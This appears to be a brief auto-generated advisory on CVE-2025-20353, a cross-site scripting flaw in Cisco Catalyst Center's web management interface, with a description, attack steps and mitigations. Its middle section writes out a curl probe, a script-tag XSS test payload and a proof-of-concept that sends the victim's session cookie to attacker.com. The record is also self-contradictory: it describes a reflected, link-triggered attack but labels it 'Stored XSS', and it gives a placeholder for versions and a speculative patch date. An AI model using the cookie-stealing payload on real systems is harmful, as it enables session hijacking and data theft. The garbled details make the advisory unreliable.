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The CVE-2025-20353 vulnerability stems from inadequate sanitization of user-supplied input within the Cisco Catalyst Center’s web-based management interface. Specifically, the application fails to properly validate or encode data before rendering it in the web page’s output. An unauthenticated, remote attacker can craft a malicious URL containing a script payload. By tricking an authenticated user into clicking this link, the attacker can trigger the execution of the embedded JavaScript within the security context of the user’s session. This successful exploit permits the attacker to perform any actions the user is authorized to do, such as changing configurations, and to steal sensitive information like session cookies from the browser.
Platform: Cisco Catalyst Center
Version: Affected versions
Vulnerability: Stored XSS
Severity: Medium
date: 11/13/2025
Prediction: Patch by 02/2026
What Undercode Say:
Curl command to check for reflected input curl -s "https://<target>/path?input=test123" | grep -i "test123" Basic payload for testing "><script>alert(1)</script>
// Proof-of-Concept to steal session cookie var i = new Image(); i.src = "http://attacker.com/?c=" + document.cookie;
How Exploit:
Attacker crafts malicious link.
User clicks the link.
Script executes in browser.
Session data is compromised.
Protection from this CVE
Apply Cisco updates.
Implement CSP headers.
Sanitize user inputs.
Impact:
Session hijacking.
Unauthorized configuration changes.
Data theft.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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